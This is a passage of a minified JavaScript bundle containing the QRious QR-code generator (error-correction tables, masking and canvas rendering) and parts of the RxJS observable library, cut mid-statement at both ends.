_e=R[ct])(!P||d.call(_e,X))&&(w[X]=_e[X])}var c=function s(P,w,R,X){var _e=this;return"string"!=typeof P&&(X=R,R=w,w=P,P=null),"function"!=typeof w&&(X=R,R=w,w=function(){return _e.apply(this,arguments)}),u(!1,w,_e,X),w.prototype=function a(P,w){var R;return"function"==typeof Object.create?R=Object.create(P):(ae.prototype=P,R=new ae,ae.prototype=null),w&&u(!0,R,w),R}(_e.prototype,R),w.prototype.constructor=w,w.class_=P||_e.class_,w.super_=_e,w};function f(){}f.class_="Nevis",f.super_=Object,f.extend=c;var _=f,g=_.extend(function(P,w,R){this.qrious=P,this.element=w,this.element.qrious=P,this.enabled=Boolean(R)},{draw:function(P){},getElement:function(){return this.enabled||(this.enabled=!0,this.render()),this.element},getModuleSize:function(P){var w=this.qrious,X=Math.floor((w.size-2*(w.padding||0))/P.width);return Math.max(1,X)},getOffset:function(P){var w=this.qrious,R=w.padding;if(null!=R)return R;var X=this.getModuleSize(P),_e=Math.floor((w.size-X*P.width)/2);return Math.max(0,_e)},render:function(P){this.enabled&&(this.resize(),this.reset(),this.draw(P))},reset:function(){},resize:function(){}}),z=g.extend({draw:function(P){var w,R,X=this.qrious,_e=this.getModuleSize(P),ct=this.getOffset(P),Je=this.element.getContext("2d");for(Je.fillStyle=X.foreground,Je.globalAlpha=X.foregroundAlpha,w=0;w<P.width;w++)for(R=0;R<P.width;R++)P.buffer[R*P.width+w]&&Je.fillRect(_e*w+ct,_e*R+ct,_e,_e)},reset:function(){var P=this.qrious,w=this.element.getContext("2d"),R=P.size;w.lineWidth=1,w.clearRect(0,0,R,R),w.fillStyle=P.background,w.globalAlpha=P.backgroundAlpha,w.fillRect(0,0,R,R)},resize:function(){var P=this.element;P.width=P.height=this.qrious.size}}),j=_.extend(null,{BLOCK:[0,11,15,19,23,27,31,16,18,20,22,24,26,28,20,22,24,24,26,28,28,22,24,24,26,26,28,28,24,24,26,26,26,28,28,24,26,26,26,28,28]}),G=_.extend(null,{BLOCKS:[1,0,19,7,1,0,16,10,1,0,13,13,1,0,9,17,1,0,34,10,1,0,28,16,1,0,22,22,1,0,16,28,1,0,55,15,1,0,44,26,2,0,17,18,2,0,13,22,1,0,80,20,2,0,32,18,2,0,24,26,4,0,9,16,1,0,108,26,2,0,43,24,2,2,15,18,2,2,11,22,2,0,68,18,4,0,27,16,4,0,19,24,4,0,15,28,2,0,78,20,4,0,31,18,2,4,14,18,4,1,13,26,2,0,97,24,2,2,38,22,4,2,18,22,4,2,14,26,2,0,116,30,3,2,36,22,4,4,16,20,4,4,12,24,2,2,68,18,4,1,43,26,6,2,19,24,6,2,15,28,4,0,81,20,1,4,50,30,4,4,22,28,3,8,12,24,2,2,92,24,6,2,36,22,4,6,20,26,7,4,14,28,4,0,107,26,8,1,37,22,8,4,20,24,12,4,11,22,3,1,115,30,4,5,40,24,11,5,16,20,11,5,12,24,5,1,87,22,5,5,41,24,5,7,24,30,11,7,12,24,5,1,98,24,7,3,45,28,15,2,19,24,3,13,15,30,1,5,107,28,10,1,46,28,1,15,22,28,2,17,14,28,5,1,120,30,9,4,43,26,17,1,22,28,2,19,14,28,3,4,113,28,3,11,44,26,17,4,21,26,9,16,13,26,3,5,107,28,3,13,41,26,15,5,24,30,15,10,15,28,4,4,116,28,17,0,42,26,17,6,22,28,19,6,16,30,2,7,111,28,17,0,46,28,7,16,24,30,34,0,13,24,4,5,121,30,4,14,47,28,11,14,24,30,16,14,15,30,6,4,117,30,6,14,45,28,11,16,24,30,30,2,16,30,8,4,106,26,8,13,47,28,7,22,24,30,22,13,15,30,10,2,114,28,19,4,46,28,28,6,22,28,33,4,16,30,8,4,122,30,22,3,45,28,8,26,23,30,12,28,15,30,3,10,117,30,3,23,45,28,4,31,24,30,11,31,15,30,7,7,116,30,21,7,45,28,1,37,23,30,19,26,15,30,5,10,115,30,19,10,47,28,15,25,24,30,23,25,15,30,13,3,115,30,2,29,46,28,42,1,24,30,23,28,15,30,17,0,115,30,10,23,46,28,10,35,24,30,19,35,15,30,17,1,115,30,14,21,46,28,29,19,24,30,11,46,15,30,13,6,115,30,14,23,46,28,44,7,24,30,59,1,16,30,12,7,121,30,12,26,47,28,39,14,24,30,22,41,15,30,6,14,121,30,6,34,47,28,46,10,24,30,2,64,15,30,17,4,122,30,29,14,46,28,49,10,24,30,24,46,15,30,4,18,122,30,13,32,46,28,48,14,24,30,42,32,15,30,20,4,117,30,40,7,47,28,43,22,24,30,10,67,15,30,19,6,118,30,18,31,47,28,34,34,24,30,20,61,15,30],FINAL_FORMAT:[30660,29427,32170,30877,26159,25368,27713,26998,21522,20773,24188,23371,17913,16590,20375,19104,13663,12392,16177,14854,9396,8579,11994,11245,5769,5054,7399,6608,1890,597,3340,2107],LEVELS:{L:1,M:2,Q:3,H:4}}),oe=_.extend(null,{EXPONENT:[1,2,4,8,16,32,64,128,29,58,116,232,205,135,19,38,76,152,45,90,180,117,234,201,143,3,6,12,24,48,96,192,157,39,78,156,37,74,148,53,106,212,181,119,238,193,159,35,70,140,5,10,20,40,80,160,93,186,105,210,185,111,222,161,95,190,97,194,153,47,94,188,101,202,137,15,30,60,120,240,253,231,211,187,107,214,177,127,254,225,223,163,91,182,113,226,217,175,67,134,17,34,68,136,13,26,52,104,208,189,103,206,129,31,62,124,248,237,199,147,59,118,236,197,151,51,102,204,133,23,46,92,184,109,218,169,79,158,33,66,132,21,42,84,168,77,154,41,82,164,85,170,73,146,57,114,228,213,183,115,230,209,191,99,198,145,63,126,252,229,215,179,123,246,241,255,227,219,171,75,150,49,98,196,149,55,110,220,165,87,174,65,130,25,50,100,200,141,7,14,28,56,112,224,221,167,83,166,81,162,89,178,121,242,249,239,195,155,43,86,172,69,138,9,18,36,72,144,61,122,244,245,247,243,251,235,203,139,11,22,44,88,176,125,250,233,207,131,27,54,108,216,173,71,142,0],LOG:[255,0,1,25,2,50,26,198,3,223,51,238,27,104,199,75,4,100,224,14,52,141,239,129,28,193,105,248,200,8,76,113,5,138,101,47,225,36,15,33,53,147,142,218,240,18,130,69,29,181,194,125,106,39,249,185,201,154,9,120,77,228,114,166,6,191,139,98,102,221,48,253,226,152,37,179,16,145,34,136,54,208,148,206,143,150,219,189,241,210,19,92,131,56,70,64,30,66,182,163,195,72,126,110,107,58,40,84,250,133,186,61,202,94,155,159,10,21,121,43,78,212,229,172,115,243,167,87,7,112,192,247,140,128,99,13,103,74,222,237,49,197,254,24,227,165,153,119,38,184,180,124,17,68,146,217,35,32,137,46,55,63,209,91,149,188,207,205,144,135,151,178,220,252,190,97,242,86,211,171,20,42,93,158,132,60,57,83,71,109,65,162,31,45,67,216,183,123,164,118,196,23,73,236,127,12,111,246,108,161,59,82,41,157,85,170,251,96,134,177,187,204,62,90,203,89,95,176,156,169,160,81,11,245,22,235,122,117,44,215,79,174,213,233,230,231,173,232,116,214,244,234,168,80,88,175]}),k=_.extend(null,{BLOCK:[3220,1468,2713,1235,3062,1890,2119,1549,2344,2936,1117,2583,1330,2470,1667,2249,2028,3780,481,4011,142,3098,831,3445,592,2517,1776,2234,1951,2827,1070,2660,1345,3177]}),K=_.extend(function(P){var w,R,X,_e,ct,Je=P.value.length;for(this._badness=[],this._level=G.LEVELS[P.level],this._polynomial=[],this._value=P.value,this._version=0,this._stringBuffer=[];this._version<40&&(this._version++,X=4*(this._level-1)+16*(this._version-1),_e=G.BLOCKS[X++],ct=G.BLOCKS[X++],w=G.BLOCKS[X++],R=G.BLOCKS[X],!(Je<=(X=w*(_e+ct)+ct-3+(this._version<=9)))););this._dataBlock=w,this._eccBlock=R,this._neccBlock1=_e,this._neccBlock2=ct;var Et=this.width=17+4*this._version;this.buffer=K._createArray(Et*Et),this._ecc=K._createArray(w+(w+R)*(_e+ct)+ct),this._mask=K._createArray((Et*(Et+1)+1)/2),this._insertFinders(),this._insertAlignments(),this.buffer[8+Et*(Et-8)]=1,this._insertTimingGap(),this._reverseMask(),this._insertTimingRowAndColumn(),this._insertVersion(),this._syncMask(),this._convertBitStream(Je),this._calculatePolynomial(),this._appendEccToData(),this._interleaveBlocks(),this._pack(),this._finish()},{_addAlignment:function(P,w){var R,X=this.buffer,_e=this.width;for(X[P+_e*w]=1,R=-2;R<2;R++)X[P+R+_e*(w-2)]=1,X[P-2+_e*(w+R+1)]=1,X[P+2+_e*(w+R)]=1,X[P+R+1+_e*(w+2)]=1;for(R=0;R<2;R++)this._setMask(P-1,w+R),this._setMask(P+1,w-R),this._setMask(P-R,w-1),this._setMask(P+R,w+1)},_appendData:function(P,w,R,X){var _e,ct,Je,Et=this._polynomial,Dt=this._stringBuffer;for(ct=0;ct<X;ct++)Dt[R+ct]=0;for(ct=0;ct<w;ct++){if(255!==(_e=oe.LOG[Dt[P+ct]^Dt[R]]))for(Je=1;Je<X;Je++)Dt[R+Je-1]=Dt[R+Je]^oe.EXPONENT[K._modN(_e+Et[X-Je])];else for(Je=R;Je<R+X;Je++)Dt[Je]=Dt[Je+1];Dt[R+X-1]=255===_e?0:oe.EXPONENT[K._modN(_e+Et[0])]}},_appendEccToData:function(){var P,w=0,R=this._dataBlock,X=this._calculateMaxLength(),_e=this._eccBlock;for(P=0;P<this._neccBlock1;P++)this._appendData(w,R,X,_e),w+=R,X+=_e;for(P=0;P<this._neccBlock2;P++)this._appendData(w,R+1,X,_e),w+=R+1,X+=_e},_applyMask:function(P){var w,R,X,_e,ct=this.buffer,Je=this.width;switch(P){case 0:for(_e=0;_e<Je;_e++)for(X=0;X<Je;X++)!(X+_e&1)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 1:for(_e=0;_e<Je;_e++)for(X=0;X<Je;X++)!(1&_e)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 2:for(_e=0;_e<Je;_e++)for(w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!w&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 3:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=R,X=0;X<Je;X++,w++)3===w&&(w=0),!w&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 4:for(_e=0;_e<Je;_e++)for(w=0,R=_e>>1&1,X=0;X<Je;X++,w++)3===w&&(w=0,R=!R),!R&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 5:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!((X&_e&1)+!(!w|!R))&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 6:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!((X&_e&1)+(w&&w===R)&1)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 7:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!((w&&w===R)+(X+_e&1)&1)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1)}},_calculateMaxLength:function(){return this._dataBlock*(this._neccBlock1+this._neccBlock2)+this._neccBlock2},_calculatePolynomial:function(){var P,w,R=this._eccBlock,X=this._polynomial;for(X[0]=1,P=0;P<R;P++){for(X[P+1]=1,w=P;w>0;w--)X[w]=X[w]?X[w-1]^oe.EXPONENT[K._modN(oe.LOG[X[w]]+P)]:X[w-1];X[0]=oe.EXPONENT[K._modN(oe.LOG[X[0]]+P)]}for(P=0;P<=R;P++)X[P]=oe.LOG[X[P]]},_checkBadness:function(){var P,w,R,X,_e,ct=0,Je=this._badness,Et=this.buffer,Dt=this.width;for(_e=0;_e<Dt-1;_e++)for(X=0;X<Dt-1;X++)(Et[X+Dt*_e]&&Et[X+1+Dt*_e]&&Et[X+Dt*(_e+1)]&&Et[X+1+Dt*(_e+1)]||!(Et[X+Dt*_e]||Et[X+1+Dt*_e]||Et[X+Dt*(_e+1)]||Et[X+1+Dt*(_e+1)]))&&(ct+=K.N2);var Pt=0;for(_e=0;_e<Dt;_e++){for(R=0,Je[0]=0,P=0,X=0;X<Dt;X++)P===(w=Et[X+Dt*_e])?Je[R]++:Je[++R]=1,Pt+=(P=w)?1:-1;ct+=this._getBadness(R)}Pt<0&&(Pt=-Pt);var Ie=0,te=Pt;for(te+=te<<2,te<<=1;te>Dt*Dt;)te-=Dt*Dt,Ie++;for(ct+=Ie*K.N4,X=0;X<Dt;X++){for(R=0,Je[0]=0,P=0,_e=0;_e<Dt;_e++)P===(w=Et[X+Dt*_e])?Je[R]++:Je[++R]=1,P=w;ct+=this._getBadness(R)}return ct},_convertBitStream:function(P){var w,R,X=this._ecc,_e=this._version;for(R=0;R<P;R++)X[R]=this._value.charCodeAt(R);var ct=this._stringBuffer=X.slice(),Je=this._calculateMaxLength();P>=Je-2&&(P=Je-2,_e>9&&P--);var Et=P;if(_e>9){for(ct[Et+2]=0,ct[Et+3]=0;Et--;)ct[Et+3]|=255&(w=ct[Et])<<4,ct[Et+2]=w>>4;ct[2]|=255&P<<4,ct[1]=P>>4,ct[0]=64|P>>12}else{for(ct[Et+1]=0,ct[Et+2]=0;Et--;)ct[Et+2]|=255&(w=ct[Et])<<4,ct[Et+1]=w>>4;ct[1]|=255&P<<4,ct[0]=64|P>>4}for(Et=P+3-(_e<10);Et<Je;)ct[Et++]=236,ct[Et++]=17},_getBadness:function(P){var w,R=0,X=this._badness;for(w=0;w<=P;w++)X[w]>=5&&(R+=K.N1+X[w]-5);for(w=3;w<P-1;w+=2)X[w-2]===X[w+2]&&X[w+2]===X[w-1]&&X[w-1]===X[w+1]&&3*X[w-1]===X[w]&&(0===X[w-3]||w+3>P||3*X[w-3]>=4*X[w]||3*X[w+3]>=4*X[w])&&(R+=K.N3);return R},_finish:function(){this._stringBuffer=this.buffer.slice();var P,w,R=0,X=3e4;for(w=0;w<8&&(this._applyMask(w),(P=this._checkBadness())<X&&(X=P,R=w),7!==R);w++)this.buffer=this._stringBuffer.slice();R!==w&&this._applyMask(R),X=G.FINAL_FORMAT[R+(this._level-1<<3)];var _e=this.buffer,ct=this.width;for(w=0;w<8;w++,X>>=1)1&X&&(_e[ct-1-w+8*ct]=1,w<6?_e[8+ct*w]=1:_e[8+ct*(w+1)]=1);for(w=0;w<7;w++,X>>=1)1&X&&(_e[8+ct*(ct-7+w)]=1,w?_e[6-w+8*ct]=1:_e[7+8*ct]=1)},_interleaveBlocks:function(){var P,w,R=this._dataBlock,X=this._ecc,_e=this._eccBlock,ct=0,Je=this._calculateMaxLength(),Et=this._neccBlock1,Dt=this._neccBlock2,Pt=this._stringBuffer;for(P=0;P<R;P++){for(w=0;w<Et;w++)X[ct++]=Pt[P+w*R];for(w=0;w<Dt;w++)X[ct++]=Pt[Et*R+P+w*(R+1)]}for(w=0;w<Dt;w++)X[ct++]=Pt[Et*R+P+w*(R+1)];for(P=0;P<_e;P++)for(w=0;w<Et+Dt;w++)X[ct++]=Pt[Je+P+w*_e];this._stringBuffer=X},_insertAlignments:function(){var P,w,R,X=this._version,_e=this.width;if(X>1)for(P=j.BLOCK[X],R=_e-7;;){for(w=_e-7;w>P-3&&(this._addAlignment(w,R),!(w<P));)w-=P;if(R<=P+9)break;this._addAlignment(6,R-=P),this._addAlignment(R,6)}},_insertFinders:function(){var P,w,R,X,_e=this.buffer,ct=this.width;for(P=0;P<3;P++){for(w=0,X=0,1===P&&(w=ct-7),2===P&&(X=ct-7),_e[X+3+ct*(w+3)]=1,R=0;R<6;R++)_e[X+R+ct*w]=1,_e[X+ct*(w+R+1)]=1,_e[X+6+ct*(w+R)]=1,_e[X+R+1+ct*(w+6)]=1;for(R=1;R<5;R++)this._setMask(X+R,w+1),this._setMask(X+1,w+R+1),this._setMask(X+5,w+R),this._setMask(X+R+1,w+5);for(R=2;R<4;R++)_e[X+R+ct*(w+2)]=1,_e[X+2+ct*(w+R+1)]=1,_e[X+4+ct*(w+R)]=1,_e[X+R+1+ct*(w+4)]=1}},_insertTimingGap:function(){var P,w,R=this.width;for(w=0;w<7;w++)this._setMask(7,w),this._setMask(R-8,w),this._setMask(7,w+R-7);for(P=0;P<8;P++)this._setMask(P,7),this._setMask(P+R-8,7),this._setMask(P,R-8)},_insertTimingRowAndColumn:function(){var P,w=this.buffer,R=this.width;for(P=0;P<R-14;P++)1&P?(this._setMask(8+P,6),this._setMask(6,8+P)):(w[8+P+6*R]=1,w[6+R*(8+P)]=1)},_insertVersion:function(){var P,w,R,X,_e=this.buffer,ct=this._version,Je=this.width;if(ct>6)for(P=k.BLOCK[ct-7],w=17,R=0;R<6;R++)for(X=0;X<3;X++,w--)1&(w>11?ct>>w-12:P>>w)?(_e[5-R+Je*(2-X+Je-11)]=1,_e[2-X+Je-11+Je*(5-R)]=1):(this._setMask(5-R,2-X+Je-11),this._setMask(2-X+Je-11,5-R))},_isMasked:function(P,w){var R=K._getMaskBit(P,w);return 1===this._mask[R]},_pack:function(){var P,w,R,X=1,_e=1,ct=this.width,Je=ct-1,Et=ct-1,Dt=(this._dataBlock+this._eccBlock)*(this._neccBlock1+this._neccBlock2)+this._neccBlock2;for(w=0;w<Dt;w++)for(P=this._stringBuffer[w],R=0;R<8;R++,P<<=1){128&P&&(this.buffer[Je+ct*Et]=1);do{_e?Je--:(Je++,X?0!==Et?Et--:(X=!X,6==(Je-=2)&&(Je--,Et=9)):Et!==ct-1?Et++:(X=!X,6==(Je-=2)&&(Je--,Et-=8))),_e=!_e}while(this._isMasked(Je,Et))}},_reverseMask:function(){var P,w,R=this.width;for(P=0;P<9;P++)this._setMask(P,8);for(P=0;P<8;P++)this._setMask(P+R-8,8),this._setMask(8,P);for(w=0;w<7;w++)this._setMask(8,w+R-7)},_setMask:function(P,w){var R=K._getMaskBit(P,w);this._mask[R]=1},_syncMask:function(){var P,w,R=this.width;for(w=0;w<R;w++)for(P=0;P<=w;P++)this.buffer[P+R*w]&&this._setMask(P,w)}},{_createArray:function(P){var w,R=[];for(w=0;w<P;w++)R[w]=0;return R},_getMaskBit:function(P,w){var R;return P>w&&(R=P,P=w,w=R),R=w,R+=w*w,(R>>=1)+P},_modN:function(P){for(;P>=255;)P=((P-=255)>>8)+(255&P);return P},N1:3,N2:3,N3:40,N4:10}),se=K,q=g.extend({draw:function(){this.element.src=this.qrious.toDataURL()},reset:function(){this.element.src=""},resize:function(){var P=this.element;P.width=P.height=this.qrious.size}}),ce=_.extend(function(P,w,R,X){this.name=P,this.modifiable=Boolean(w),this.defaultValue=R,this._valueTransformer=X},{transform:function(P){var w=this._valueTransformer;return"function"==typeof w?w(P,this):P}}),Ze=_.extend(null,{abs:function(P){return null!=P?Math.abs(P):null},hasOwn:function(P,w){return Object.prototype.hasOwnProperty.call(P,w)},noop:function(){},toUpperCase:function(P){return null!=P?P.toUpperCase():null}}),le=_.extend(function(P){this.options={},P.forEach(function(w){this.options[w.name]=w},this)},{exists:function(P){return null!=this.options[P]},get:function(P,w){return le._get(this.options[P],w)},getAll:function(P){var w,R=this.options,X={};for(w in R)Ze.hasOwn(R,w)&&(X[w]=le._get(R[w],P));return X},init:function(P,w,R){var X,_e;for(X in"function"!=typeof R&&(R=Ze.noop),this.options)Ze.hasOwn(this.options,X)&&(le._set(_e=this.options[X],_e.defaultValue,w),le._createAccessor(_e,w,R));this._setAll(P,w,!0)},set:function(P,w,R){return this._set(P,w,R)},setAll:function(P,w){return this._setAll(P,w)},_set:function(P,w,R,X){var _e=this.options[P];if(!_e)throw new Error("Invalid option: "+P);if(!_e.modifiable&&!X)throw new Error("Option cannot be modified: "+P);return le._set(_e,w,R)},_setAll:function(P,w,R){if(!P)return!1;var X,_e=!1;for(X in P)Ze.hasOwn(P,X)&&this._set(X,P[X],w,R)&&(_e=!0);return _e}},{_createAccessor:function(P,w,R){var X={get:function(){return le._get(P,w)}};P.modifiable&&(X.set=function(_e){le._set(P,_e,w)&&R(_e,P)}),Object.defineProperty(w,P.name,X)},_get:function(P,w){return w["_"+P.name]},_set:function(P,w,R){var X="_"+P.name,_e=R[X],ct=P.transform(w??P.defaultValue);return R[X]=ct,ct!==_e}}),Oe=le,Ye=_.extend(function(){this._services={}},{getService:function(P){var w=this._services[P];if(!w)throw new Error("Service is not being managed with name: "+P);return w},setService:function(P,w){if(this._services[P])throw new Error("Service is already managed with name: "+P);w&&(this._services[P]=w)}}),qe=new Oe([new ce("background",!0,"white"),new ce("backgroundAlpha",!0,1,Ze.abs),new ce("element"),new ce("foreground",!0,"black"),new ce("foregroundAlpha",!0,1,Ze.abs),new ce("level",!0,"L",Ze.toUpperCase),new ce("mime",!0,"image/png"),new ce("padding",!0,null,Ze.abs),new ce("size",!0,100,Ze.abs),new ce("value",!0,"")]),Ke=new Ye,dt=_.extend(function(P){qe.init(P,this,this.update.bind(this));var w=qe.get("element",this),R=Ke.getService("element"),X=w&&R.isCanvas(w)?w:R.createCanvas(),_e=w&&R.isImage(w)?w:R.createImage();this._canvasRenderer=new z(this,X,!0),this._imageRenderer=new q(this,_e,_e===w),this.update()},{get:function(){return qe.getAll(this)},set:function(P){qe.setAll(P,this)&&this.update()},toDataURL:function(P){return this.canvas.toDataURL(P||this.mime)},update:function(){var P=new se({level:this.level,value:this.value});this._canvasRenderer.render(P),this._imageRenderer.render(P)}},{use:function(P){Ke.setService(P.getName(),P)}});Object.defineProperties(dt.prototype,{canvas:{get:function(){return this._canvasRenderer.getElement()}},image:{get:function(){return this._imageRenderer.getElement()}}});var ze=dt,xt=_.extend({getName:function(){}}).extend({createCanvas:function(){},createImage:function(){},getName:function(){return"element"},isCanvas:function(P){},isImage:function(P){}}).extend({createCanvas:function(){return document.createElement("canvas")},createImage:function(){return document.createElement("img")},isCanvas:function(P){return P instanceof HTMLCanvasElement},isImage:function(P){return P instanceof HTMLImageElement}});return ze.use(new xt),ze}()},591:(At,ae,d)=>{"use strict";d.d(ae,{X:()=>s});var n=d(8929),a=d(5279);class s extends n.xQ{constructor(c){super(),this._value=c}get value(){return this.getValue()}_subscribe(c){const f=super._subscribe(c);return f&&!f.closed&&c.next(this._value),f}getValue(){if(this.hasError)throw this.thrownError;if(this.closed)throw new a.N;return this._value}next(c){super.next(this._value=c)}}},9312:(At,ae,d)=>{"use strict";d.d(ae,{P:()=>c});var n=d(8896),a=d(1086),s=d(1737);class c{constructor(E,_,S){this.kind=E,this.value=_,this.error=S,this.hasValue="N"===E}observe(E){switch(this.kind){case"N":return E.next&&E.next(this.value);case"E":return E.error&&E.error(this.error);case"C":return E.complete&&E.complete()}}do(E,_,S){switch(this.kind){case"N":return E&&E(this.value);case"E":return _&&_(this.error);case"C":return S&&S()}}accept(E,_,S){return E&&"function"==typeof E.next?this.observe(E):this.do(E,_,S)}toObservable(){switch(this.kind){case"N":return(0,a.of)(this.value);case"E":return(0,s._)(this.error);case"C":return(0,n.c)()}throw new Error("unexpected notification kind value")}static createNext(E){return typeof E<"u"?new c("N",E):c.undefinedValueNotification}static createError(E){return new c("E",void 0,E)}static createComplete(){return c.completeNotification}}c.completeNotification=new c("C"),c.undefinedValueNotification=new c("N",void 0)},6498:(At,ae,d)=>{"use strict";d.d(ae,{y:()=>S});var n=d(3489),s=d(7668),u=d(3292),f=d(3821),E=d(4843),_=d(2830);let S=(()=>{class C{constructor(H){this._isScalar=!1,H&&(this._subscribe=H)}lift(H){const j=new C;return j.source=this,j.operator=H,j}subscribe(H,j,U){const{operator:G}=this,Q=function c(C,z,H){if(C){if(C instanceof n.L)return C;if(C[s.b])return C[s.b]()}return C||z||H?new n.L(C,z,H):new n.L(u.c)}(H,j,U);if(Q.add(G?G.call(Q,this.source):this.source||_.v.useDeprecatedSynchronousErrorHandling&&!Q.syncErrorThrowable?this._subscribe(Q):this._trySubscribe(Q)),_.v.useDeprecatedSynchronousErrorHandling&&Q.syncErrorThrowable&&(Q.syncErrorThrowable=!1,Q.syncErrorThrown))throw Q.syncErrorValue;return Q}_trySubscribe(H){try{return this._subscribe(H)}catch(j){_.v.useDeprecatedSynchronousErrorHandling&&(H.syncErrorThrown=!0,H.syncErrorValue=j),function a(C){for(;C;){const{closed:z,destination:H,isStopped:j}=C;if(z||j)return!1;C=H&&H instanceof n.L?H:null}return!0}(H)?H.error(j):console.warn(j)}}forEach(H,j){return new(j=g(j))((U,G)=>{let Q;Q=this.subscribe(oe=>{try{H(oe)}catch(Ce){G(Ce),Q&&Q.unsubscribe()}},G,U)})}_subscribe(H){const{source:j}=this;return j&&j.subscribe(H)}[f.L](){return this}pipe(...H){return 0===H.length?this:(0,E.U)(H)(this)}toPromise(H){return new(H=g(H))((j,U)=>{let G;this.subscribe(Q=>G=Q,Q=>U(Q),()=>j(G))})}}return C.create=z=>new C(z),C})();function g(C){if(C||(C=_.v.Promise||Promise),!C)throw new Error("no Promise impl found");return C}},3292:(At,ae,d)=>{"use strict";d.d(ae,{c:()=>s});var n=d(2830),a=d(2782);const s={closed:!0,next(u){},error(u){if(n.v.useDeprecatedSynchronousErrorHandling)throw u;(0,a.z)(u)},complete(){}}},8929:(At,ae,d)=>{"use strict";d.d(ae,{Yc:()=>E,xQ:()=>_});var n=d(6498),a=d(3489),s=d(2654),u=d(5279),c=d(5283),f=d(7668);class E extends a.L{constructor(C){super(C),this.destination=C}}let _=(()=>{class g extends n.y{constructor(){super(),this.observers=[],this.closed=!1,this.isStopped=!1,this.hasError=!1,this.thrownError=null}[f.b](){return new E(this)}lift(z){const H=new S(this,this);return H.operator=z,H}next(z){if(this.closed)throw new u.N;if(!this.isStopped){const{observers:H}=this,j=H.length,U=H.slice();for(let G=0;G<j;G++)U[G].next(z)}}error(z){if(this.closed)throw new u.N;this.hasError=!0,this.thrownError=z,this.isStopped=!0;const{observers:H}=this,j=H.length,U=H.slice();for(let G=0;G<j;G++)U[G].error(z);this.observers.length=0}complete(){if(this.closed)throw new u.N;this.isStopped=!0;const{observers:z}=this,H=z.length,j=z.slice();for(let U=0;U<H;U++)j[U].complete();this.observers.length=0}unsubscribe(){this.isStopped=!0,this.closed=!0,this.observers=null}_trySubscribe(z){if(this.closed)throw new u.N;return super._trySubscribe(z)}_subscribe(z){if(this.closed)throw new u.N;return this.hasError?(z.error(this.thrownError),s.w.EMPTY):this.isStopped?(z.complete(),s.w.EMPTY):(this.observers.push(z),new c.W(this,z))}asObservable(){const z=new n.y;return z.source=this,z}}return g.create=(C,z)=>new S(C,z),g})();class S extends _{constructor(C,z){super(),this.destination=C,this.source=z}next(C){const{destination:z}=this;z&&z.next&&z.next(C)}error(C){const{destination:z}=this;z&&z.error&&this.destination.error(C)}complete(){const{destination:C}=this;C&&C.complete&&this.destination.complete()}_subscribe(C){const{source:z}=this;return z?this.source.subscribe(C):s.w.EMPTY}}},5283:(At,ae,d)=>{"use strict";d.d(ae,{W:()=>a});var n=d(2654);class a extends n.w{constructor(u,c){super(),this.subject=u,this.subscriber=c,this.closed=!1}unsubscribe(){if(this.closed)return;this.closed=!0;const u=this.subject,c=u.observers;if(this.subject=null,!c||0===c.length||u.isStopped||u.closed)return;const f=c.indexOf(this.subscriber);-1!==f&&c.splice(f,1)}}},3489:(At,ae,d)=>{"use strict";d.d(ae,{L:()=>E});var n=d(7043),a=d(3292),s=d(2654),u=d(7668),c=d(2830),f=d(2782);class E extends s.w{constructor(g,C,z){switch(super(),this.syncErrorValue=null,this.syncErrorThrown=!1,this.syncErrorThrowable=!1,this.isStopped=!1,arguments.length){case 0:this.destination=a.c;break;case 1:if(!g){this.destination=a.c;break}if("object"==typeof g){g instanceof E?(this.syncErrorThrowable=g.syncErrorThrowable,this.destination=g,g.add(this)):(this.syncErrorThrowable=!0,this.destination=new _(this,g));break}default:this.syncErrorThrowable=!0,this.destination=new _(this,g,C,z)}}[u.b](){return this}static create(g,C,z){const H=new E(g,C,z);return H.syncErrorThrowable=!1,H}next(g){this.isStopped||this._next(g)}error(g){this.isStopped||(this.isStopped=!0,this._error(g))}complete(){this.isStopped||(this.isStopped=!0,this._complete())}unsubscribe(){this.closed||(this.isStopped=!0,super.unsubscribe())}_next(g){this.destination.next(g)}_error(g){this.destination.error(g),this.unsubscribe()}_complete(){this.destination.complete(),this.unsubscribe()}_unsubscribeAndRecycle(){const{_parentOrParents:g}=this;return this._parentOrParents=null,this.unsubscribe(),this.closed=!1,this.isStopped=!1,this._parentOrParents=g,this}}class _ extends E{constructor(g,C,z,H){super(),this._parentSubscriber=g;let j,U=this;(0,n.m)(C)?j=C:C&&(j=C.next,z=C.error,H=C.complete,C!==a.c&&(U=Object.create(C),(0,n.m)(U.unsubscribe)&&this.add(U.unsubscribe.bind(U)),U.unsubscribe=this.unsubscribe.bind(this))),this._context=U,this._next=j,this._error=z,this._complete=H}next(g){if(!this.isStopped&&this._next){const{_parentSubscriber:C}=this;c.v.useDeprecatedSynchronousErrorHandling&&C.syncErrorThrowable?this.__tryOrSetError(C,this._next,g)&&this.unsubscribe():this.__tryOrUnsub(this._next,g)}}error(g){if(!this.isStopped){const{_parentSubscriber:C}=this,{useDeprecatedSynchronousErrorHandling:z}=c.v;if(this._error)z&&C.syncErrorThrowable?(this.__tryOrSetError(C,this._error,g),this.unsubscribe()):(this.__tryOrUnsub(this._error,g),this.unsubscribe());else if(C.syncErrorThrowable)z?(C.syncErrorValue=g,C.syncErrorThrown=!0):(0,f.z)(g),this.unsubscribe();else{if(this.unsubscribe(),z)throw g;(0,f.z)(g)}}}complete(){if(!this.isStopped){const{_parentSubscriber:g}=this;if(this._complete){const C=()=>this._complete.call(this._context);c.v.useDeprecatedSynchronousErrorHandling&&g.syncErrorThrowable?(this.__tryOrSetError(g,C),this.unsubscribe()):(this.__tryOrUnsub(C),this.unsubscribe())}else 